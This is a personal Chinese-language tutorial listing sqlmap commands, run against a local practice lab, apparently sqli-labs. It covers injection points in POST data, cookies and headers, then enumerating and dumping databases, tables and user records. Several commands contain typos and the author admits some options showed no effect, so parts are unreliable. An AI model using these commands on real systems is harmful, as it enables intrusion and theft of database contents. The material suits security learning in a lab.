sqlmap 使用教程
个人观点,若有误请指教
python sqlmap -u “http://127.0.0.1/index.php” --data=”user=1&pass=2”
python sqlmap.py -u "http://127.0.0.1:8080/user.php" --data="id=0;name=ner" --param-del=";"
python sqlmap.py -u "http://127.0.0.1:8080/user.php" --cookie = "ssssss;ccccc=11111"
注解:可以只包含一个参数;要检测cookie的注入点,则需要level >= 2。
python sqlmap.py -u "http://127.0.0.1:8080/user.php" --cookie = "ssssss|ccccc=11111" --cookie-del="|"
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --data="user = 1"--user-agent="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.0"
注解:要检测user-agent的注入点,则需要level >= 3。
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --data="user = 1" --random-agent
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --host="baidu"
注解:要检测host的注入点,则需要level = 5。不过这里一般很少有漏洞信息。
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --proxy="http://127.0.0.1:8080"
python sqlmap.py -u http://127.0.0.1/123.asp?id=1 -proxy=127.0.0.1:8080 --proxy-cred=admin:pass
注解:proxy-cred要与proxy配合使用
--timeout:设置请求超时的时间,单位是秒,默认是30。(格式:--timeout=50)
--retries: 设置超时从新连接的次数,默认是3次。(格式: --retries=5)
这些选项可以用来指定如何连接到目标URL,换句话说就是用来修改http请求报文的内容的
这些选项在输入时不要输入多余的空格(也就是说在等于号左右两边不要加空格!!!)
proxy=“http://127.0.0.1:8080” :在命令行添加这一行可以使用burp进行抓包查看。下面给出例子
python sqlmap.py “http://sql.test/Less-1/?id= 1” --data=“user = 1”
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" -p "user-agent"
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --level=3 -skip "user-agent"
注解:当level >= 3时,应该要检测user-agent参数,但使用了skip之后,sqlmap就不用再对user-agent进行检测了。(这里的level没有失效,除了指定的参数外,其他的还是要检测的)
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --dbms="mysql"
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --os="windows"
#本人使用后看不出任何区别,用于给出格式
python sqlmap.py -u "http://sql.test/Less-1/?id=1" --level 5
#本人使用后看不出任何区别,用于给出格式
python sqlmap.py -u "http://sql.test/Less-1/?id=1" --risk 3
#本人使用后看不出任何区别,用于给出格式
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --string="win"
#本人使用后看不出任何区别,用于给出格式
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --not-string="bad"
#本人使用后看不出任何区别,用于给出格式
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --code=200
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" -f
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" -a
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --current-user
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --current-db
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --hostname
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --users
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --dbs
#默认是当前数据库
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --tables
#查询目标主机information_schema的表信息
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" -D "information_schema" --tables
#默认是当前数据库
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --columns
#查询目标主机information_schema的列数信息
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" -D "information_schema" --columns
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --dump
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" -T "users" --dump
python sqlmap.py -u "http://sql.test/Less-1/?id= 1"-D "security" -T "users" --dump
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" -D "lys" --dump
注解:默认是当前数据库的所有信息
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --dump-all
#默认让sqlmap提供数据库名,是可以依靠securit查到security
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --search -D "securit"
#查出在两个数据库中的两个users表
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --search -T "users"
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --search -C "id"
注解:search与dump不一样,如果不加-D -T -C的话,search是不会有效果的而dump会打印当前数据库的信息。
#本人使用后看不出任何区别,用于给出格式
#下面的应该是查询information_schema数据库
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" -D "information_schema" --comments
#下面的应该是查询当前数据库
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --comments
-D: 指定数据库:与dump、search、comments等一起使用。
-T: 指定数据表:与dump、search等一起使用。
-C: 指定字段:与dump、search等一起使用。
--exclude-sysbds:排除系统数据库
#与dbs(查看目标服务器有什么数据库)连用无效果
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --dump-all --exclude-sysdbs
·等于号左右不要输入空格